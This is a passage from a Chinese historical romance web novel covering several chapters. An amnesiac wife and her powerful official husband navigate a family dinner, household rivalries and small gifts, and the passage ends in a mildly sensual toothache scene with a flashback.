纾妍闻言,下意识望向窗外,果然瞧见一袭绯红官袍的男人穿过门前那棵如同粉色巨伞一般的海棠树,转眼间已经到了门前。
她立刻收回视线,假装睡着。
淡烟与轻云对视一
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眼,一脸无奈。
裴珩一入房内就瞧见背着他躺在紫檀木贵妃榻上的蜜合色窈窕身影。
他径直走过去在榻上坐下,往里瞧了一眼,只见侧卧着的女子像是熟睡着,但浓密卷翘的眼睫却微微颤抖。
兴许今儿未出门的缘故,她满头乌泱泱的青丝绾了一个简单的发髻,只用一根素玉簪子固定,白皙圆润的耳珠光秃秃的。他又瞧瞧她的手腕,只见细得仿佛一掐就折的皓腕亦洁白如霜雪,未有半点点缀之色。
就连身上的衣裳都是去年做的,款式过分老旧,十分不符合她稚嫩的年纪。
裴珩收回视线,温声道:“今晚要陪母亲用饭。”
纾妍假装没听见。
他又道:“母亲还不知你要同我和离一事,怕是要委屈你同我做戏。”
再也装不下去的纾妍终于忍不住转过身来,乌黑澄澈的眼眸里流露出不解,“为何?”
“在你病好之前,我不想节外生枝。”裴珩如实相告,“我怕麻烦。”
“既如此,”纾妍听得他说自己是“麻烦”,心里很是不舒服,“大人为何还要留着我这个麻烦?”
话音刚落,他瞥她一眼,“你是我的妻子。”
她立刻反驳,“是前妻!”
裴珩不置可否,“你放心,有我在,无人敢对你不敬。”
纾妍想着这几日老狐狸待自己不错,犹豫良久,终是勉为其难地点头。
两刻钟后,裴珩领着穿戴整齐的纾妍出现在正院。
此刻已是傍晚,暮色四合,院子里却亮如白昼,远远地就听见花厅传来极热闹的声音。男人,女人,老人,孩子都有。
纾妍一听这动静就心生悔意,扭身就要走,突然听到裴珩叹了一口气,“沈家六姑娘就这点胆量?”
纾妍闻言,停驻脚步,抬起雪白的下巴,一脸傲慢,“谁说我胆小了,我们沈家的人浑身是胆!”
裴珩颔首,“现在瞧出来了。”
淡烟等人皆捂着嘴笑。
老狐狸!
纾妍在心里暗暗骂一句,随他一同入内。
自打纾妍磕到头后,这还是头一回见到全部的裴家人。
除却见过的赵氏,孙氏,李素宁,沈星移外。还有两个成年男子与一未及弱冠的美少年以及四五个孩子,大的八九岁,小的三四岁。
如果她没猜错,那个格外惹眼,眼含桃花的美少年应该就是她的借债人——云阳县主的幼子裴钰。
年纪最大,身形魁梧高大的那位应是裴家大房的嫡长子裴珙。
而与赵氏挨着坐,怀里抱着一个三四岁女孩儿的应是云阳县主的次子裴瑄。
他生得与裴珩有一两分相似,眉目俊俏,看起来是个脾气极好的人。
且果然如裴珩所说,他一出现,厅内所有坐着的人,除却云阳县主外,全都起身相迎,敬畏之心尽显。
自她醒来后,老狐狸在她面前极温和好说话,她以为他一贯如此。却没想到他在自家人面前威严甚重,就连小孩子见了他都正襟危坐,不敢再胡闹。
纾妍总觉得平日里见到的老狐狸与今日不是同一人,心底有种说不出的感觉。
而似乎早已习以为常的老狐狸领着她上前向云阳县主请安问好。
许是看在长子的面上,云阳县主不似先前的严肃,待她和蔼不少。两母子客客气气寒暄几句后,云阳县主见人到齐,命人传菜。
其他人待云阳县主与裴珩落座,方各自寻自己的位置坐好。
纾妍见只有距离上席最远且挨着小孩的位置空着,猜想那便是自己素日里的位置,正准备坐下,端坐上首裴珩忽然朝她望来,神色温和,“坐我身旁来。”
话音刚落,十几双眼睛齐刷刷朝纾妍望来。
纾妍:“……”
18.第 18 章
这是裴珩第一回在家人面前让自己的妻子坐到身边来。
按理来说,纾妍是裴家三房的大娘子,又有诰命在身,位置本就该安排在裴珩身旁。
但自古以来,一个后宅女人的地位同自己夫君的宠爱挂钩。就连府中的门房都知晓大公子与大娘子感觉寡淡如水,尽管纾妍在府中还兼顾着管家的责任,看似权力很大,可一到饭桌上,根本每个人所坐的位置,一眼便能瞧出地位高低。
从前裴珩不在意自己妻子的处境,就一向最重规矩的云阳县主也因为纾妍罪臣之女的身份,在此事上装聋作哑,任由她孙子孙女坐在一起用饭。
现如今却因为裴珩一句“坐我身边来”打破了这份平衡,这种微妙的变化在每个人内心都掀起巨大的波澜来。
尤其是云阳县主。
自己的长子是个什么脾性她这位当母亲的多多少少有些了解。这么多年来,他做的每一件事情,说出来的每一句话全都是经过深思熟虑,绝不会是临时起意。
他故意当着众人的面与沈氏亲昵,显然是在隐晦的告知众人:沈氏是他的妻子。
谁伤了沈氏的体面,便是打了他的脸。
他这是在给沈氏撑腰!
云阳县主不得不重新审视沈氏在自己儿子心中的地位。
至于纾妍,她如今得了离魂症,对于从前在府中的尴尬处境丝毫不知,自然也不知裴珩这简短四个字里所隐含的厉害关系。
在她年纪还小时,每逢宴会阿爹总会将她带在身旁,笑呵呵地对她说:“坐我身边来。”
哥哥们带她出去玩,也会道:“妹妹,坐我身边来。”
就连姨母与一些私交好的夫人们办些茶话会,亦是如此。
是以青州无人不知执掌整个北疆的大将军有一掌上明珠,是全家人的心肝疙瘩,得罪了这位小姐比得罪大将军还要严重。
“坐我身边来”这句话对纾妍而言,承载着这世上最深沉的爱意。
现在老狐狸亦对她说这样的话,这让她内心有些说不清道不明的悸动。
她是沈家六小姐,便是天子举办的宴会父亲都带她出席过,更何况眼前一小小的家宴,于是落落大方地朝裴珩走去。
原先坐在裴珩身边——云阳县主的次子裴瑄率先反应过来,忙站起身来,道:“怪我怪我,不小心占了大嫂嫂的位置,还请大嫂嫂莫怪。”
裴瑄比裴珩小了两三岁,今年二十有五的年纪,一口一个“大嫂嫂”,这让纾妍颇有些不好意思,向他灿然一笑,“不妨事。”
她这一笑不打紧,裴瑄微微有些怔神。
在他的印象里,这位比自己小了七岁的大嫂嫂极温柔沉寂,便是笑也是静静的,虽生得极美,却好似个木头美人。如今这一笑,好似在这副皮囊里注入灵魂,变得鲜活无比,那对长而媚的眼,明明澄澈如水,偏偏迫人心魂。
突然,一只手狠狠地在他大腿上拧了一把。
裴瑄疼得当场“啊”了一声,席上大人小孩都朝他望去。
云阳县主蹙眉,“怎么了?”
裴瑄扭头看向自己的妻子。
赵氏冷笑一声,“夫君可是眼疾犯了?”
一向惧内的男人强忍着疼,咬牙说了句“并无”,将位置让了出来。
纾妍正欲坐下,却被裴珩制止。
他吩咐,“换张垫子。”
立刻就有丫鬟另外拿了一张垫子换了原先裴瑄坐过的那张。
他这才向自己的小妻子温和说道:“坐下罢。”
纾妍内心深处其实并不大相信两人曾两情相悦,如今见他这样体贴,心里多信了一两分。
因纾妍坐了裴瑄的位置,赵氏左手边的沈星移主动站起来要坐到原先纾妍的位置,云阳县主叫住她,让她坐到幼子裴钰身旁去。
沈星移瞧了一眼面无表情的裴钰,向云阳县主笑道:“不妨事,我喜欢同孩子们一起坐。”说完,不待云阳县主同意,步伐极慢地走了过去。
纾妍留意到,如果她走得慢些,便瞧不出跛脚。
她心里对沈星移生出一丝心疼来。
位置换好,裴珩这才向自己的母亲恭敬道:“请母亲先动箸。”
云阳县主这筷子动得一言难尽,有些食不下咽。
在场的人各怀鬼胎,唯有纾妍在认真用饭。
席上有一道药膳煲的鸡汤味道极甘甜,她正打算盛第二碗时,裴珩出言制止,“这汤用多夜里不宜安眠。”
她只好作罢。
裴珩见她一脸可惜的模样,心里好似被猫挠了一爪子,不疼,就是痒得很。
他将自己的空碗递给她,“帮我盛一碗。”
纾妍不解,“不是说吃多不宜睡眠?”
他道:“我熬夜。”
纾妍:“……”
距离裴珩最远的李素宁将他二人的互动瞧在眼里,只觉得九表哥身旁的位置本该是自己的,替他盛汤之人也本该是自己,心里怄得生疼。
孙氏亦朝着上首的位置瞧了一眼,垂下眼睫默不作声地用筷子拨着碗里晶莹剔透的米粒。
裴珙夹了一块用鸡汤煨出来的火腿放在她碗中,温声道:“多吃些,你近日都瘦了。”
孙氏极温柔地笑着说了声“多谢夫君”,却不动声色地将那块拨到一旁去。
饭用到一半,赵氏忽然道:“听说户部侍郎的位置近日有了空缺,也不怕大哥哥笑话,你二弟弟都已经在工部军器司郎中的位置待了两三年,也该挪挪窝。”
话音刚落,正在埋头干饭的裴瑄立刻道:“我如今这位置挺好的,我很喜欢。”
赵氏恨铁不成钢,又狠狠在他腿上拧了一把。
裴瑄又“啊”了一声。
云阳县主哪里不知赵氏的动作,不悦地扫了一眼赵氏,“今儿这菜不合你的胃口?”
赵氏一时不解其意,忙道:“母亲这儿的饭菜自然是极好的。”
“既如此也管不住你的嘴。”云阳县主说话毫不留情面,“男人官场的事儿,轮得到你一个妇道人家指手画脚!”
赵氏的眼眶蓦然红了,“儿媳不是这个意思。大哥哥是内阁首辅,还兼理着户部尚书。可瑄郎在工部连个侍郎都不是,出门在外丢的也是大哥哥的脸不是。”
裴瑄心疼的妻子,对自己的母亲说:“倩儿只是担心我,没别的意思。”
云阳县主瞧着这个没出息的次子就来气,但又不舍得在众人面前让他丢脸,习惯性地将眸光投向纾妍。
从前在饭桌上,一向对她毕恭毕敬的长儿媳满心满眼都是自己的夫君,如今眼里却只有饭。
云阳县主将心底的气撒在她身上,“今儿饭菜倒是极符合大娘子的胃口。”
纾妍拿帕子优雅地拭干净嘴上的油渍,“确实极好。”
她原本以为吃不下的,没想到这儿的菜出奇得合胃口。
云阳县主被她这句话噎了一下。
这时,裴珩道:“先用饭罢。”
赵氏听得这句话,只道夫君升迁有望,又重新端起碗来。
饭后,一家子坐在一起吃茶。
纾妍从前在家时,晚饭后吃茶是最热闹的时刻,裴家吃茶就真得是在吃茶,各个闷声不吭,十分无趣。
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她吃了半盏茶,觉得自己的任务也算圆满完成,正欲寻个借口离开,坐在对面的赵氏突然干呕起来。
服侍的婢女忙拿着痰盂上前去。
裴瑄也拿手拍着她的背,一脸担忧,可是孩子闹你了?”
满脸娇羞的赵氏抚摸着自己的小腹,嗔怪,“大家都瞧着呢。”
早已不是初为人父的裴瑄“呵呵”傻笑。
其他人赶紧向他夫妻二人道喜。
裴瑄难掩喜色,随即想到什么,觑了一眼自家大哥,想着自己如今已经儿女双全,眼下又添了第三个,而大哥哥至今还未有个一男半女,自己这般欢喜岂不是在拿刀子割大哥哥的心,于是赶紧又将嘴角的喜色往下压了压。
坐在上首的云阳县主也瞥了一眼眉眼低垂的长子,心里不免万分感伤,于是又将眸光投向罪魁祸首,见沈氏正目不转睛地盯着赵氏的肚子,以为她正在为孩子的事儿伤怀,责备的话又咽了回去。
明明瞧着身段是个好生养的,怎至今都未有消息?
她想了想,道:“再过半个月是你们父亲的生祭,再加上咱们府上又有添丁之喜,我想着到时去城外的宝华寺住上十天半个月,一来是为祈福,二来也好祈求咱们府上添子添福。大娘子可记住了?”
正好奇打量赵氏肚子的纾妍见她特地点了自己的名字,下意识问:“我也要去?”
云阳县主闻言,简直要气晕过去。自己都把话说得这样直白,她竟然还好意思问。
赵氏都已经怀了三个,幼子还未成婚,除了她这个嫡长媳,难道还有旁人不成?
可纾妍并不想去。
她自认为与裴珩已经和离,只待自己好了,即刻就要离开帝都,他想要添子添福,同她有何关系。
她正欲拒绝,裴珩已经开口,“如此也好。”
纾妍瞪时瞪大眼睛。
好什么好,他怎就替自己答应了!
裴珩像是没有察觉她的视线,起身向云阳县主告退:“儿子还有事,就先回去。”
赵氏本想到他提都未提自己夫君升迁一事就就要走,有些急了,给裴瑄使了个眼色。
裴瑄一脸为难地转过脸去。
赵氏方才故意当着众人的面宣布自己有孕一事,本就想着借怀孕一事逼夫君向这大伯哥讨个更好的职位,却没想到他不肯,急得站起来,正欲开口,就听大伯哥对着自己的两个弟弟道:“去听雨堂茶室等我。”
赵氏立刻转忧为喜。
裴瑄垂头丧气地应了声“是”。
裴钰则一脸的生无可恋,正欲寻借口离开,只见大哥哥冷冷斜睨自己一眼,腿一软,又坐了回去。
裴珩收回视线,看向自己的小妻子,神色温和:“回去罢。”
早就想走的纾妍立刻站起身来,礼节性地向云阳县主请安告退,随他出门去。
两人刚出正院大门,纾妍迫不及待地问责:“我几时说要去寺庙?”
他道:“我送你回去,边走边说。”
纾妍见外头守着的有人,只好按捺下来,与他沿着来时的小径朝着澜院走去。
如今五月,到了晚上天气不算太热,迎面吹来的夜风里透着晚香玉浓郁的花香。
这香气令纾妍迷醉,心里的焦躁也随着洒在脚下的月光一点点散去,没有急着追问寺庙一事,看向月光下眉目若雪的男人,“我一事实在不明,想请大人解惑。”
裴珩停驻脚步,看向自己的小妻子,“何事?”
月光下,一脸天真的女子明亮如水的眼眸里流露出不解,“二娘子是如何将娃娃揣到自己腹中的?”
19.第 19 章
裴珩与纾妍成婚时,彼时正逢沈家举家被流放后不久。
她在帝都孤苦无依,身边只有两个年纪相仿的婢女。
裴珩望着眼前一脸天真的小妻子,后知后觉地明白过来,也许从来无人教导过她如何侍奉自己的夫君。
她仿佛生来就是给他做妻子的,是以圆房的那天夜里,他将她眼神里流露出的局促不安与懵懂茫然当作羞涩。
她不知对于一个浸淫官场十数年,见惯黑暗与肮脏的男人来说,那样的眼神意味着什么。
事后,不满十六岁的少女望着被血浸透的雪白丝帕,哭得微肿的眼眸里流露出不安:“官人,我要死了吗?”
他如何回应她的?
他一时想不起来了。
彼时裴珩刚升任内阁首辅不到两年,朝堂之上有不少人对他的位置虎视眈眈,稍不留神就会被人扯下来,家族中又要挑选培养优秀的子弟,用以巩固裴氏一族在朝中的根基地位,根本分不出心思理会新婚妻子的想法。
后来的每一回,他都将这件事当作传宗接代的任务。而她从来都是曲意迎合,无半句抱怨。
那个夜晚,她在想些什么?
这些年她又在想什么?
提出和离时,又是为什么?
裴珩一时失了神,直到又听见小妻子问:“是因为拜子观音的缘故吗?”
裴珩回过神来,不知如何回答她这个问题,于是哄她,“是这个缘故。”
她又追问:“那我们成婚这么多年没有,是因为我同大人没有拜生子观音的缘故?”
“大抵是我们每个月只拜两回,次数有些少,”裴珩喉结滚了一滚,“你想要小娃娃?”
“若是生得漂亮,有一个也无妨,我最怕闷了,”纾妍弯着眼睫笑,“待我以后成了婚再去同我的新夫君拜送子观音。”
裴珩闻言蹙眉,“你要成婚?”
“自然要成婚,”纾妍反问:”难道大人不会成婚?”
裴珩一时没有言语。
与她和离后,母亲自会再重新挑选适合的贵女与他成婚。
许是男人天生就会对自己的配偶有极强的占有欲,即使已决意和离,可一想到她将来会与别的男人“拜送子观音”,他心里仍感到非常不适,不动声色地试探,“你喜欢怎样的郎君,我可帮你留意。”
纾妍却信以为真,由衷道:“我从前一直觉得大人虚伪至极,却没想到大人为人竟这样好。不过大人倒也不必操/我的心,我不喜欢帝都的郎君。”她说得坦诚,浑然没有注意当她到“虚伪至极”四个字时,身旁的男人眼神里闪过的异样,自顾自在那儿说着自己的择婿标准,“最好能够入赘我家,我——”
“既如此何不趁此机会去寺庙住上一段日子,”裴珩忽然就不想听了,“宝华寺是千年古刹,既然药石一时无用,不如试上一试,兴许早些恢复记忆。”
纾妍倒没想到这茬,迟疑,“有用?”
裴珩正色道:“心之所至,心诚则灵。”
纾妍一时犹豫不决,问道:“大人方才替我答应此事,可是怕云阳县主因我不肯去寺庙而多生事端?”
裴珩不置可否。
哼,真是一只薄情虚伪的老狐狸!
纾妍在心里暗暗骂了一句。不过他说的也有几分道理,左右距离去寺庙小住还有半月的时间,万一这段时间恢复记忆,也就不用再去。
她这个人一向向前看,既然如今眼前之路有所阻塞,换一条道未必不能通顺,于是勉为其难地应下来。
此刻已经入夜,月亮悬挂枝头,随着人的方位向前缓缓移动。
纾妍一时起了玩心,追着月亮跳来跳去。
眼看着她就要追到花丛里,裴珩制止,“夜里黑,不许胡闹。”
“我才没有胡闹!”她扬起一张粉白的面颊,笑,“我在追月亮。难道大人年少时不曾追过月亮?”
裴珩没有作声。
他总是这样闷,早已习以为常的纾妍也不指望他能回答自己的话,一边追逐着月光,一边竖着耳朵聆听草丛里的动静。谁知他忽然道:“我年少时,见过的月光大多是在书案上。”
她听了,一脸可惜,“那大人还真是可怜,这样美的月色,岂可辜负。”
裴珩闻言,抬头望向像是不断在往前移动的月亮。
这时,又听她惊喜道:“大人听,这儿定是藏着一只寿星头!”说着就要去草丛里捉,裴珩一把将她拉回来。
“怎这样顽皮,”一贯持重的男人颇为头疼,“不许再往里钻。”
她撇撇嘴,“这不许那不许,管得真宽。”
他道:“里头有蛇。”
她有些半信半疑。
跟在身后的书墨适时跳出来,“那里真有蛇,前些日子还咬伤了一个修剪园林的花匠。”
纾妍这才作罢。
从正院到澜院,约有一刻钟的距离,一路上,她总问一些奇奇怪怪的问题。
比如,送子观音为何不把小娃娃揣到男子腹中。
再比如,每个月要拜几回送子观音才会更快地揣上娃娃。
都是一些不着边际的傻话。
可裴珩非但不厌烦,反而前所未有觉得放松。
尽管他一路闲庭漫步,也很快便到了门口。
纾妍向他道谢,“多谢大人送我回来。”言罢,要走,裴珩叫住她。
他问:“为何不愿管家?”
纾妍愣了一下,随即笑道:“这不是我的家。”说完,头也不回地入了院子。
直到院门关上,裴珩方收回视线,顺着来时的路折返。行至她方才捉寿星头的地方,再次听到那阵蟋蟀声,一时停驻脚步。
书墨见状,忙问:“可要捉来给娘子玩?”
裴珩不置可否,大步朝前走去。
书墨一时犯了难。
最近公子的脾气越发难以琢磨,到底是捉还是不捉呢?
*
裴珩回到听雨堂时,自己的两个弟弟已经在茶室等了两刻钟之久。
他刚踏入门槛,原本正悠闲下棋的两人忙站起身来,毕恭毕敬地唤了一声“大哥哥”。
面无表情的男人径直走到上首坐下,冷眼打量着自己的两个弟弟。
裴瑄与裴钰见自家大哥哥面色一脸严肃,紧张得直冒汗,低着头大气不敢出。
不知过了许久,才听到他道:“坐下吧。”
两人松了一口气,在各自的位置坐下。
裴珩看向自己的二弟弟,“今日的事情是你的主意?”
裴瑄愣了一下,随即低下头去,道:“倩儿家中姐妹众多,各个高嫁,唯有我职位最低,我想着若是要能往上升一升也是好的。只是我……”
他说到这儿,实在难堪,未再往下说。
若是别人有当县主的母亲,当首辅的大哥哥,指不定早就高升,唯独这么多年他都原地踏步,实在因自己无能的缘故。
裴珩沉默良久,道:“你自己的想法呢?”
裴瑄闻言,抬起头看向自己的大哥,“我?”
裴珩摩挲着拇指的白玉扳指,缓缓道:“户部确实有空缺,我可以举荐你。但是你从不曾接触过这些,须得付出十二的心思从头学习,而且若是通不过年底考核,便是我也不能留你。”
裴瑄一时犹豫不决。
其实他很早就知自己资质平庸,既比不上才学冠绝帝都,手段心机无人能及的大哥,又比不上聪明绝顶的
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弟弟。所以一心只想做个富贵闲人。但因为他官职太低,妻子在娘家抬不起头来,每回一次娘家,就要同他闹上一回。他倒是不怕她闹,他只怕对不起自己的妻儿。
这时,又听自己的大哥道:“昨日我在宫里碰到你们工部的钱尚书。他说你这回督造的兵器极好,是个可塑之才。”
裴瑄听到这句话,眼神亮了亮,“钱尚书真这么说?”
钱尚书出了名的刚正不阿,就连天子跟前都敢直言进谏,也绝不会瞧在大哥的面子刻意奉承。
裴珩颔首,“军器司位置虽不高,但你自幼便喜欢兵器,能够做自己喜欢且专长的事情,也是一桩幸事。”
裴瑄何尝不知呢,但是一想到自己又怀有身孕的妻子……
裴珩见状,道:“举荐的名额下个月初五才送到御前,你回去好好想想。”
裴瑄应了声“好”,起身告辞,行至门口,又被兄长叫住。
茶室内光线有些暗,面色有些晦暗不明的兄长道:“有时与人打交道,未必会比那些冷冰冰的兵器好。人的心远比你想象的复杂。”
裴瑄知晓这是兄长在提点自己,这些年若不是兄长为着整个家负重前行,也不会有他现在的富足悠闲生活。
他恭敬应了声“是”,“我会好好考虑此事。”
裴瑄离开后,裴珩又将眸光投向正翘着二郎腿的幼弟,“这些年你从你大嫂嫂手里拿了多少银子?”
裴钰愣了一下,一时不解其意。
裴珩冷冷道:“站起来!”
裴钰立刻站起来,左耳碧绿的水滴型耳铛在白皙的脸颊晃出一道残影。
他低声道:“没算过,怕是有上千两罢。”
裴珩道:“今夜回去好好算清楚,明日还回去。”
裴钰尚未及冠,名下所有的产业全都在母亲手里,每个月公中给的银子都不够用,一时半会儿哪里有钱还。
他正不知怎么办时,大哥哥道:“我这儿有一千两银子,你明日一早拿去还你大嫂嫂。但这钱不是白给你,从下月开始,你去国子监读书。”
未等拒绝,大哥哥又道:“若是不去也可,要么即刻还钱,要么即刻同沈家表妹成婚。”
裴钰心想自己还没玩够,绝不可能成婚。大不了他明日去哄哄母亲,一千两银子也容易得,可大哥哥像是知晓他在想什么,冷睨他一眼,“若是你敢去哄骗母亲,我会即刻会打断你的腿,剃光你的头发,将你丢到宝华寺当和尚去。”
大哥哥绝对干得出这种事!
裴钰只觉得自己的腿已经开始疼了,脑袋也凉飕飕,当下做出选择,“我去国子监读书!”
裴珩这才作罢,叫书墨将那一千两银子拿给他,并道:“回去给我算清楚究竟拿了多少银子,写张借据。”顿了顿,又道:“莫要说这钱是我给你的。”
裴钰生无可恋地接过银票应了声“是”。
裴钰走后,裴珩回书房继续案牍。
大约过了半个时辰,他终于放下手中最后一本公文,书墨这时也已经备好热水,服侍他沐浴。
身心疲惫的男人坐在浴桶里,心里陡然生出一丝寂寞来。
书墨见状,道:”今日是十五,不如公子去娘子屋里坐坐,同娘子说说话。”
裴珩看了一眼沙漏。
此刻已是戌时末,外头万籁寂静。
书墨又道:“今日十五,以往娘子都会等着公子,怕是还没睡,”说完,又变戏法似的从袖子里取出一白瓷钵递上前,笑,“方才我捉了这寿星头来,娘子见了定会很高兴。”
裴珩打开盖子,只见罐子底部蛰伏着一只寿星头,赤须墨牙,一看便知是一员骁将。
拿去给她玩也好,免得她总嫌闷
20.第 20 章
澜院。
纾妍沐浴过后就要上床睡觉去。
淡烟下意识问:“今日十五,小姐不等姑爷?”
已经躺进被窝里的纾妍疑惑不解,“我为何要等他?”
淡烟解释,“从前姑爷每逢初一十五就会宿在这儿,小姐总会等姑爷来了再睡。”
“我自己不能睡吗?”纾妍更加不明白,“为何非要等?我要同他一起睡才能睡着?”
淡烟想起方才小姐与姑爷说的生娃娃的傻话,一时也不知该如何说。
“我最讨厌等人了,更何况他还只是前夫,”纾妍已经阖上眼,声音缱绻,“把灯熄了,刺眼睛……”
淡烟心想从前未闹和离时姑爷都不爱来,更何况是现在。
她走到桌前熄了灯,抹黑在床外侧躺下。
院子外。
疾步赶来的裴珩快要到院门口时,原本还亮着光的院子骤然漆黑一片。
月光下的男人停驻脚步。
也不知为何,不过是熄灯而已他心里却有一种难以言说的感受。
大抵是才意识到她不是“她”,再也不会为他留一盏灯。
书墨没想到娘子竟然压根没等公子,迟疑,“兴许娘子只是累了,我去敲门?”
“不必麻烦,”裴珩将手中的白瓷钵递给他,“明日拿给她玩吧。”言罢,头也不回地离去。
纾妍并不知这天夜里裴珩曾来过,翌日一早,刚用罢早饭书墨就送了寿星头来。
纾妍很是高兴,拿着手里爱不释手,问:“可是昨夜那一只?”
书墨点点头,“昨夜公子本来亲自拿来给娘子玩,只是娘子已经睡下。”
纾妍没想到老狐狸竟然来过,只是她并未在意,笑道:“那替我谢谢你家公子。”说完又觉得自己收了老狐狸这么多东西,总得回礼,于是指着窗前一脸盆大小的青色池盆里正游来游去的金鲤,“你把里头的那条鱼拿去,他若是喜欢就摆在书房里头解解闷,若是不喜欢丢到荷花池里。”
书墨心想公子一向不爱养这些玩儿,不过既然是娘子送的,还是拿盆子装了。
淡烟怕晒着,还去院子里折了一片绿油油的芭蕉叶盖在上头。
他前脚刚抱着鱼离开,淡烟就道:“小姐,那条鱼也是姑爷送给您的。”
纾妍惊讶,“他送我条鱼做什么?”
轻云道:“您觉得无聊,所以让姑爷寻些小玩意儿给您养着。”
纾妍十分不理解,“那么多东西可以养,为何非要送金鱼?”
淡烟与轻云哪里知晓。
纾妍啧啧两声,“老狐狸跟他送的东西一样无聊。”
淡烟/轻云:……
*
这边,书墨吭哧吭哧抱着一条鱼回到听雨堂书房。
刚下朝会回来的裴珩见状,蹙眉,“我不是说莫要在书房里养这些东西。”
书墨忙解释,“是娘子送给公子的,说是礼尚往来。”
裴珩闻言,走上前瞧了一眼,只见清凌凌的水里游弋着一条巴掌大小的金鲤,只觉得眼熟,“哪里来的?”
“就是先前公子从宫里给娘子带回来的那条番国进贡的金鲤,”书墨笑,“陛下还说这种鱼最难养不过,瞧娘子养得多好。”
裴珩想起来了。
有一回二人敦伦过后,小妻子搂着他的腰,头枕在他肩膀,声音缱绻温柔地说她长日无趣,能不能寻些有趣的活物陪她玩。
后来他把这条鱼带给她,她当时收得一脸惊喜,不曾想如今又还回来。
书墨见自家公子似乎不大喜欢,忙道:“我现在就丢去荷花池。”
“搁着罢,”他径直走到书案后坐下,“就放在窗前。”
书墨应了声“好”,寻了一只干净的碧绿盆池,又叫人去荷花池装了半桶水,移了一株荷花进去,才把那条价值千金的小金鲤放进水里。
原本沉闷枯燥的书房因这一抹绿色变得清凉起来。
书墨抹了一把头上的汗,笑道:“公子瞧着如何?”
裴珩不置可否,拿了一本公文:“她可说了什么话?”
书墨摇头,“倒没说什么话,只问公子今儿会不会带糖回来,若是无,她就让轻云去街上买。”
“既如此,”裴珩头也未抬,“你每日送一份去,免得她惦记。”
书墨应了声“是”,“那我现在就叫人去买。”
窗外遮天蔽日的大树上也不知藏了多少蝉在里头,一声比一声高的蝉鸣,叫得人心里烦躁。
裴珩放下手中的公文,瞥了一眼那池盆。
窗外绿荫下细碎的光洒在池盆上,荡起粼粼金光,那只被她精心饲养过的金鲤怡然自得的躲在金光下摆着鱼尾。
半晌,裴珩收回视线,继续处理未完的政务。
*
这日过后,愈发忙碌的裴珩七八日不曾踏入后院,只每日都让书墨送些零嘴甜食给纾妍吃药。
幼时因为姨母管得严厉,不许纾妍吃糖,所以才养得一口又整齐又洁白的贝齿来,如今他日日叫人送,她一点儿节制都无。淡烟怕她生蚜虫,阻着不让她吃。她便闹着不肯吃药。淡烟无法,只得由着她去。
结果怕什么来什么,这日傍晚,纾妍用过药后糖葫芦后就开始闹牙疼,她一向娇气忍不了疼,躺在碧纱橱的凉簟上抹眼泪。
淡烟赶紧让轻云去听雨堂瞧瞧姑爷可回来,若是在的话,请他帮忙请太医来瞧瞧。
轻云得了命令,即刻去听雨堂。
她到门口时,恰好撞见李素宁站在听雨堂门口,身边的小丫鬟还捧着一盅汤。
轻云哪里不明白她是来做什么,背着她翻了个白眼。
现如今府上谁人不知这位表小姐成日里往姑爷跟前凑,不是送汤就是送衣裳的,还没过门,就提前当上姨娘了。
李素宁像是没有瞧见她的脸色,故意问道:“怎近日不见表嫂出来走动?”
轻云冷冷道:“我们家小姐身子弱,比不得表小姐这样能干!”
李素宁眼里闪过一抹愠色,碍于在表哥门前不敢发作,瞥了一眼自己的婢女春莺。
春莺会意,冷笑一声,“我们家小姐确实比大娘子好些,不像大娘子身子弱,如今连管家的力气都无!”
自从十五家宴过后,云阳县主将管家权又暂时交到赵氏手中。赵氏如今有孕,又得了管家权,趾高气昂得不得了,逢人就说纾妍如今正忙着调理身子,以便早日怀上子嗣,所以她这个做弟妹的不得不勉为其难代为管家。
轻云本就瞧不惯她们这些自诩出身高贵,却虚伪至极的做派,可她嘴一向笨,吵架实在吵不过,被春莺气红了眼,恨不得给她两个耳刮子。
春莺见状,得意道:“怎么,还想打我不成?到底是边疆长大来的,没规矩得很,连个奴才都当不好!”
“我确实不如你会做奴才!”轻云咬牙,“我家小姐也更比不上你家小姐,上赶着送上门去!”
话音刚落。听雨堂的院门忽然打开,书
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墨出现在门口。
他瞧瞧李素宁主仆二人,又瞧瞧咬牙切齿的轻云,眉头紧蹙,“公子在里头正会客,怎在此吵了起来?”
听到这话,谁也不敢再嚷嚷。
书墨问轻云,“可是娘子让你来见我们家公子?”
轻云颔首,急道:“我家小姐闹牙疼,劳烦公子帮忙请个太医来瞧瞧。”
书墨一脸为难,“公子此刻正在会客,怕不得见。要不你先回去,待会儿公子忙完我即刻通知公子。”
轻云只好先回去。
书墨又看向李素宁。
李素宁柔声道:“我见表哥近日案牍劳形,特地炖了参汤送来。”
春莺立刻将参汤递到他跟前。
书墨只得接过来。
待裴珩忙完,已经是半个时辰后,书墨见他一脸疲累,将李素宁送来的参汤递上前去。
裴珩刚好有些饿,伸手接过来:“她送来的?”
书墨:“是表小姐送来的。”
裴珩顿时没了胃口,又把参汤放回去,轻轻揉捏着眉心,“她近日如何?无事寻我?”
“半个时辰前寻过,”书墨忙道:“娘子闹牙疼,想要让公子帮着请太医。”
“怎不早说,”裴珩闻言眉头紧蹙,“还不赶紧拿着我的手令去请秦院首来!”交代完,又想到她如今娇气得很,还是决定亲自瞧瞧。
澜院里。
纾妍正捂着左脸颊侧卧在铺了凉簟的碧纱橱上。
近日里暑热极重,她上半身只着了一件薄纱制成的半臂,下半身着了一条胭脂色绸裤。
裴珩进来时,见她两条嫩藕似的细胳膊与半截雪白小腰露出外头,甚至连腰窝都瞧得见。
他喉结滚了一滚,大步走上前去,在她身旁坐下。
纾妍以为是淡烟,哽咽,“我疼。”
话音刚落,一只微凉的大手忽然覆在她面颊上,舒缓不少灼热的痛感。
纾妍回头一看,只见老狐狸不知何时坐在她身后,吓了一跳。
裴珩见她洇红一片,也不知哭了多久,语气不自觉地柔和,“疼得厉害?”
纾妍最经不得哄,一听这话,泪眼汪汪地“嗯”了一声。
他伸手托住她雪白小巧的下颏尖,“张开嘴我瞧瞧。”
纾妍实在疼得要紧,犹豫再三,张开嘴巴给她瞧。
裴珩仔细瞧了瞧,发现她整齐雪白的牙齿末端似乎冒出了一个白白的牙尖。
他道:“我替你磨一磨。”
纾妍正要问问可是要拿石头磨,会不会疼,谁知他忽然将自己的指骨深入她口中。冷硬的手指擦过她的软舌,落在最里侧的大牙上。
一瞬间,一些旖旎模糊的画面自纾妍脑海里闪过。
那是一张女子的脸,洇红的眼角挂着一滴泪珠,像是被人蹂躏过的唇如同染了玫瑰花汁液,嘴角挂着透明的涎液
“官人,我不会……”
模糊,陌生,又让人羞耻悸动。
